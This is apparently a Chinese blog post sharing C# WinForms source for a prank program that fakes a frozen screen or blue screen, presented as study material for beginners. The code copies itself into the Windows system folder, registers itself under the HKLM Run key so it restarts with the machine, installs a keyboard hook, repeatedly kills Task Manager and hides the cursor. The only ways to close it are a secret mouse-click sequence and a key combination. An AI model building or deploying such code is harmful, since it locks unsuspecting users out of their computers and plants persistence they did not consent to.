本程序采用VS2008.Net制作。模仿了死机或蓝屏(两者之间随机)。
系统用到Graphic、进程操作、屏幕截图截图、键盘钩子、注册表等,适合新人学习Winform程序之用。
由于系统模仿了死机和蓝屏,可在3秒内点击鼠标以解锁。否则只能重启电脑。
/// 鼠标码:11211233312 (“1”为鼠标左键,“2”为鼠标右键,“3”为鼠标中键)
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Collections;
namespace Fools
{
/// <summary>
/// 由于时间仓促,未对代码进行优化,大家将就看吧。
/// 调试前请注意:本程序模仿死机和蓝屏。可在3秒内点击鼠标以解锁。
/// 鼠标码:11211233312 (“1”为鼠标左键,“2”为鼠标右键,“3”为鼠标中键)
/// </summary>
public partial class frmBlue : Form
{
#region field
StringBuilder strBuilder = new StringBuilder();
Random random = new Random();
private static int randomInt = 0;
private bool firstFlg = true;
private DateTime time;
private Queue<char> queue = new Queue<char>();
string strs = "11211233312";
Hotkey hotkey = new Hotkey();
private RegistryKey STARTKEY = Registry.LocalMachine;
private const string REGKEY = @"SoftWare\MicroSoft\Windows\CurrentVersion\Run";
[DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用,可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);
[DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的X坐标
int nWidth, // 目标对象的矩形的宽度
int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的X坐标
System.Int32 dwRop // 光栅的操作值
);
#endregion
public frmBlue()
{
InitializeComponent();
}
private void frmBlue_Load(object sender, EventArgs e)
{
try
{
randomInt = random.Next();
initQueue();
if (randomInt % 2 == 1)
{
BuildImage();
}
else
{
SetErrorMessage();
this.BackColor = Color.DarkBlue;
}
this.WindowState = FormWindowState.Maximized;
this.ShowInTaskbar = false;
this.TopMost = true;
Cursor.Hide();
this.Focus();
string copyPath = Environment.GetFolderPath(Environment.SpecialFolder.System)
Application.ExecutablePath.Substring(
Application.ExecutablePath.LastIndexOf(@"\"),
Application.ExecutablePath.Length - Application.ExecutablePath.LastIndexOf(@"\"));
if (!File.Exists(copyPath))
{
File.Copy(Application.ExecutablePath, copyPath);
}
SetRegist(Application.ProductName, copyPath);
hotkey.HookStart();
this.Hide();
this.Show();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void frmBlue_Paint(object sender, PaintEventArgs e)
{
if (randomInt % 2 == 0)
{
DrawStringFloatFormat(e);
}
}
private void frmBlue_KeyDown(object sender, KeyEventArgs e)
{
string keyValue = e.KeyData.ToString();
if (keyValue.Contains("C, Shift, Control, Alt"))
{
this.Close();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
KillProcess("taskmgr");
}
private void frmBlue_FormClosing(object sender, FormClosingEventArgs e)
{
hotkey.HookStop();
}
private void frmBlue_MouseDown(object sender, MouseEventArgs e)
{
char charInput = '3';
if (e.Button == MouseButtons.Middle)
{
charInput = '3';
}
if (e.Button == MouseButtons.Left)
{
charInput = '1';
}
if (e.Button == MouseButtons.Right)
{
charInput = '2';
}
if (firstFlg == true)
{
time = DateTime.Now;
firstFlg = false;
}
if (charInput == queue.Dequeue())
{
if (queue.Count == 0)
{
if (time.AddSeconds(2.5) <= DateTime.Now)
{
time = DateTime.Now;
initQueue();
}
else
{
this.Close();
}
}
}
else
{
time = DateTime.Now;
initQueue();
if (charInput == '1')
{
queue.Dequeue();
}
}
}
#region private
#region BuildImage
private void BuildImage()
{
this.Visible = false;
//Rectangle rc1=Screen.GetWorkingArea(this);
int width = Screen.AllScreens[0].Bounds.Width;
int height = Screen.AllScreens[0].Bounds.Height;
IntPtr dc1 = CreateDC(Screen.AllScreens[0].DeviceName, null, null, (IntPtr)null);
Graphics g1 = Graphics.FromHdc(dc1);//由一个指定设备的句柄创建一个新的Graphics对象
Image MyI = new Bitmap(width, height, g1);//根据屏幕大小创建一个与之相同大小的Bitmap对象
Graphics g2 = Graphics.FromImage(MyI);//获得屏幕的句柄
IntPtr dc3 = g1.GetHdc();//获得位图的句柄
IntPtr dc2 = g2.GetHdc();//把当前屏幕捕获到位图对象中
BitBlt(dc2, 0, 0, width, height, dc3, 0, 0, 13369376);//把当前屏幕拷贝到位图中
g1.ReleaseHdc(dc3);//释放屏幕句柄
g2.ReleaseHdc(dc2);//释放位图句柄
this.BackgroundImage = MyI;
this.Visible = true;
}
#endregion
#region initQueue
private void initQueue()
{
queue.Clear();
foreach (char c in strs)
{
queue.Enqueue(c);
}
}
#endregion
#region DrawStringFloatFormat
public void DrawStringFloatFormat(PaintEventArgs e)
{
Font drawFont = new Font("Book Antiqua", Convert.ToInt32(Screen.PrimaryScreen.WorkingArea.Width * 0.012));
Random random = new Random();
SolidBrush drawBrush = new SolidBrush(Color.White);
float x = 20.0F;
float y = 0.0F;
StringFormat drawFormat = new StringFormat();
drawFormat.FormatFlags = StringFormatFlags.NoWrap;
e.Graphics.DrawString(strBuilder.ToString(), drawFont, drawBrush, x, y, drawFormat);
}
#endregion
#region SetRegist
private void SetRegist(string name, string Path)
{
RegistryKey regKey = STARTKEY;
regKey = regKey.OpenSubKey(REGKEY, true);
if (regKey == null)
{
regKey.CreateSubKey(name);
}
regKey.SetValue(name, Path);
}
#endregion
#region KillProcess
private void KillProcess(string ProcessName)
{
Process[] processes;
processes = Process.GetProcessesByName(ProcessName);
foreach (Process p in processes)
{
p.Kill();
}
}
#endregion
#region SetErrorMessage
private void SetErrorMessage()
{
//strBuilder.Append("We are very sorry about your rp.It's the lowest rp we'd ever see.");
strBuilder.Append("\r\n");
strBuilder.Append("A problem has been detected and windows has been shut down to prevent damage");
strBuilder.Append("\r\n");
strBuilder.Append("to your computer.");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("IRQL_NOT_LESS_OR_EQUAL");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("If this is the first time you've seen this Stop error screnn,");
strBuilder.Append("\r\n");
strBuilder.Append("restart your computer. If this screen apperas again, follow");
strBuilder.Append("\r\n");
strBuilder.Append("these steps:");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("Check to make sure that any new hardware or software is properly installed.");
strBuilder.Append("\r\n");
strBuilder.Append("If this is a new installation,ask your hardware or software manufacturer");
strBuilder.Append("\r\n");
strBuilder.Append("for any windows updates you might need.");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("If problems cobtinue,disable or remove any newly installed hardware");
strBuilder.Append("\r\n");
strBuilder.Append("or software. Disable BIOS memory options such as caching or shadowing.");
strBuilder.Append("\r\n");
strBuilder.Append("If you need to use safe Mode to remove or disable components, restart");
strBuilder.Append("\r\n");
strBuilder.Append("your computer, press F8 to select Advanced Startup Options, and then");
strBuilder.Append("\r\n");
strBuilder.Append("select Safe Mode.");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("Technical information:");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("*** STOP: 0x0000000A (0x00000000,0xFAA339B8,0x00000008,0xC0000000)");
strBuilder.Append("\r\n\r\n");
strBuilder.Append("*** Fastfat.sys - Address FAA339B8 base at FAA33000, DateStamp 36B016A3");
}
#endregion
#endregion
}
}
评论